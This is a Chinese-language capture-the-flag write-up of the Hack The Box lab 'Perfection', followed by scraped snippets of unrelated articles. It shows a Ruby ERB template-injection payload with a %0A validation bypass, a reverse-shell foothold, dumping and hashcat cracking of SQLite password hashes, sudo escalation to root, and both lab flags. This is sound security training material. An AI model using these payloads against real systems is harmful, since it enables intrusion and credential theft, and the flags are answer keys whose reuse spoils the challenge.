HTB:Perfection[WriteUP]

news/2024/11/8 23:49:28 标签: 网络安全

目录

连接至HTB服务器并启动靶机

1.What version of OpenSSH is running?

使用nmap对靶机TCP端口进行开放扫描

2.What programming language is the web application written in?

使用浏览器访问靶机80端口页面,并通过Wappalyzer查看页面脚本语言

3.Which endpoint on the web application allows for user input?

4.Which column on the grade-calculator page allows alphanumeric input?

5.What is the URL-encoded value of the character you can use to bypass the input validation on the Category column?

6.What is the name of the templating system in use by this web application?(ERB)

7.Submit the flag located in the susan user's home directory.

USER_FLAG:06e6a45549bf30c4e691f7e45b631888

8.Which non-default group is the susan user a part of?

9.What is the full path of the sqlite database containing the susan user's password hash?

10.What is the susan user's password?

使用hashid判断该哈希类型

换成hash-identifier再试试

使用hashcat开始爆破

11.Submit the flag located in the root user's home directory.

使用上文凭证登录靶机SSH服务

ROOT_FLAG:41192f4843df75f15920299d7f8f0973


连接至HTB服务器并启动靶机

靶机IP:10.10.11.253

分配IP:10.10.14.12


1.What version of OpenSSH is running?

使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.253

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.253
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-07 19:37 EST
Nmap scan report for 10.10.11.253 (10.10.11.253)
Host is up (0.063s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 44.98 seconds

继续使用nmap对靶机开放端口进行脚本、服务扫描

nmap -p 22,80 -sCV 10.10.11.253

由扫描结果可知,OpenSSH版本为:8.9p1


2.What programming language is the web application written in?

使用浏览器访问靶机80端口页面,并通过Wappalyzer查看页面脚本语言

由Wappalyzer插件可知,该页面所用脚本语言为:ruby


3.Which endpoint on the web application allows for user input?

通过浏览靶机页面,可见/weighted-grade路径下允许用户输入


4.Which column on the grade-calculator page allows alphanumeric input?

经过测试,只有Category一栏允许输入字母


5.What is the URL-encoded value of the character you can use to bypass the input validation on the Category column?

使用Yakit抓取请求包并尝试通过回车(%0A)截断插入ruby表达式

<%= IO.popen("COMMAND").readlines() %>

本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.253] 56774
bash: cannot set terminal process group (998): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ whoami
whoami
susan


6.What is the name of the templating system in use by this web application?(ERB)

ERB 模板是包含 Ruby 代码片段的文本文件。这些 Ruby 代码片段可以生成动态内容,与模板中的静态文本混合在一起。在处理 ERB 模板时,Ruby 解释器会执行其中的 Ruby 代码,并将结果与静态文本合并,生成最终的输出。例如,在一个 HTML 模板中,可以使用 ERB 来插入动态数据,如根据数据库中的用户信息生成个性化的网页内容。

7.Submit the flag located in the susan user's home directory.

查找user_flag位置并查看其内容

susan@perfection:~$ find / -name 'user.txt' 2>/dev/null
find / -name 'user.txt' 2>/dev/null
/home/susan/user.txt
susan@perfection:~$ cat /home/susan/user.txt
cat /home/susan/user.txt
06e6a45549bf30c4e691f7e45b631888

USER_FLAG:06e6a45549bf30c4e691f7e45b631888


8.Which non-default group is the susan user a part of?

查看当前用户所属组别

groups

susan@perfection:~$ groups
groups
susan sudo


9.What is the full path of the sqlite database containing the susan user's password hash?

/home/susan/Migration目录下可以找到一个数据库文件pupilpath_credentials.db

strings /home/susan/Migration/pupilpath_credentials.db

susan@perfection:~/Migration$ strings /home/susan/Migration/pupilpath_credentials.db
<ings /home/susan/Migration/pupilpath_credentials.db
SQLite format 3
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP
Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O
Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f

拿到了四个用户名以及他们各自的哈希密码,但貌似显示有问题

靶机通过python创建一个http服务,攻击机通过该http服务将该db文件下载到本地

python3 -m http.server 6666

打开该db文件

sqlite3 pupilpath_credentials.db

列出所有表单

SELECT * FROM users;

1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8

10.What is the susan user's password?

/var/mail目录下可以找到susan文件

strings /var/mail/susan

susan@perfection:/var/mail$ strings /var/mail/susan
strings /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student

由该文件内容可知,用户名被修改为如下形式

(用户名)_(倒置的用户名)_(从1到1000000000随机取一个数)

即:susan_nasus_范围内的随机整数

使用hashid判断该哈希类型

echo 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' > hash
hashid < hash

换成hash-identifier再试试

可见大概率是SHA-256,使用man命令查看该类型在hashcat中的参数

使用hashcat开始爆破

hashcat -m 1400 hash -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d --quiet

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashcat -m 1400 hash -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d --quiet
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

账户:susan

密码:susan_nasus_413759210


11.Submit the flag located in the root user's home directory.

使用上文凭证登录靶机SSH服务

ssh susan@10.10.11.253

查看当前用户可特权运行命令

sudo -l

susan@perfection:~$ sudo -l
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL

由输出可知susan可特权运行任何命令,直接切换到root用户即可

sudo bash -i

susan@perfection:~$ sudo bash -i
root@perfection:/home/susan# whoami
root

查找root_flag位置并查看其内容

root@perfection:/home/susan# find / -name 'root.txt'
find: ‘/proc/1410/task/1410/net’: Invalid argument
find: ‘/proc/1410/net’: Invalid argument
find: ‘/proc/1412/task/1412/net’: Invalid argument
find: ‘/proc/1412/net’: Invalid argument
find: ‘/proc/1417/task/1417/net’: Invalid argument
find: ‘/proc/1417/net’: Invalid argument
find: ‘/proc/1422/task/1422/net’: Invalid argument
find: ‘/proc/1422/net’: Invalid argument
find: ‘/proc/1424/task/1424/net’: Invalid argument
find: ‘/proc/1424/net’: Invalid argument
find: ‘/proc/1465/task/1465/net’: Invalid argument
find: ‘/proc/1465/net’: Invalid argument
find: ‘/proc/1467/task/1467/net’: Invalid argument
find: ‘/proc/1467/net’: Invalid argument
find: ‘/proc/1508/task/1508/net’: Invalid argument
find: ‘/proc/1508/net’: Invalid argument
find: ‘/proc/1510/task/1510/net’: Invalid argument
find: ‘/proc/1510/net’: Invalid argument
find: ‘/proc/1512/task/1512/net’: Invalid argument
find: ‘/proc/1512/net’: Invalid argument
find: ‘/proc/1587/task/1587/net’: Invalid argument
find: ‘/proc/1587/net’: Invalid argument
find: ‘/proc/1588/task/1588/net’: Invalid argument
find: ‘/proc/1588/net’: Invalid argument
find: ‘/proc/1598/task/1598/net’: Invalid argument
find: ‘/proc/1598/net’: Invalid argument
find: ‘/proc/1625/task/1625/net’: Invalid argument
find: ‘/proc/1625/net’: Invalid argument
find: ‘/proc/1653/task/1653/net’: Invalid argument
find: ‘/proc/1653/net’: Invalid argument
/root/root.txt
root@perfection:/home/susan# cat /root/root.txt
41192f4843df75f15920299d7f8f0973

ROOT_FLAG:41192f4843df75f15920299d7f8f0973


http://www.niftyadmin.cn/n/5744575.html

相关文章

基础算法练习--滑动窗口(已完结)

算法介绍 滑动窗口算法来自tcp协议的一种特性,它的高效使得其也变成了算法题的一种重要考点.滑动窗口的实现实际上也是通过两个指针前后遍历集合实现,但是因为它有固定的解题格式,我将其单独做成一个篇章. 滑动窗口的解题格式: 首先,定义两个指针left和right,与双指针不同的…

html的week控件 获取周(星期)的第一天(周一)和最后一天(周日)

html的week控件 获取周(星期)的第一天(周一)和最后一天(周日) <input type"week" id"week" class"my-css" value"ViewBag.DefaultWeek" /><script> function PageList() { var dateStrin…

理解Web登录机制:会话管理与跟踪技术解析(一)

在这篇博客中&#xff0c;我们将深入探讨登录校验、会话技术和会话跟踪技术的基本概念、实现原理及其在Web应用中的应用。我们将介绍常见的会话跟踪技术&#xff0c;如Cookies、Session&#xff0c;并讨论它们的优缺点。同时&#xff0c;我们也会涉及如何使用现有的技术栈来实现…

MySQL 到 ClickHouse 数据同步优化(三)

简述 本文主要介绍 CloudCanal 如何将关系型数据库中数据同步到 ClickHouse&#xff0c;默认使用 ReplacingMergeTree 作为 ClickHouse 表引擎&#xff0c;链路特点包括&#xff1a; 新增 _version、_sign 字段&#xff0c;以便 ClickHouse 准确合并。DML 操作均以 INSERT 写…

量化研究--年化57%全球动量模型策略回测,学习使用

文章声明:本内容为个人的业余研究&#xff0c;和任何单位&#xff0c;机构没有关系&#xff0c;文章出现的股票代码&#xff0c;全部只是测试例子&#xff0c;不做投资参考&#xff0c;投资有风险&#xff0c;代码学习使用&#xff0c;不做商业用途 本文利用全球动量模型策略回…

SpringBoot整合Liquibase对数据库管理和迁移

简介 Liquibase是一个用于用于跟踪、管理和应用数据库变化的开源工具&#xff0c;通过日志文件(changelog)的形式记录数据库的变更(changeset)&#xff0c;然后执行日志文件中的修改&#xff0c;将数据库更新或回滚(rollback)到一致的状态。它的目标是提供一种数据库类型无关的…

Kafka面试题 part-1

一、kafka消息发送的流程&#xff1f; 发送原理&#xff1a; 在消息发送的过程中&#xff0c;涉及到了两个线程——main 线程和 Sender 线程。在 main 线程中创建了一个双端队列 RecordAccumulator。main 线程将消息发送给 RecordAccumulator&#xff0c;Sender 线程不断从 R…

stm32使用串口DMA实现数据的收发

前言 DMA的作用就是帮助CPU来传输数据&#xff0c;从而使CPU去完成更重要的任务&#xff0c;不浪费CPU的时间。 一、配置stm32cubeMX 这两个全添加上。参数配置一般默认即可 代码部分 只需要把上期文章里的HAL_UART_Transmit_IT(&huart2,DATE,2); 全都改为HAL_UART_Tra…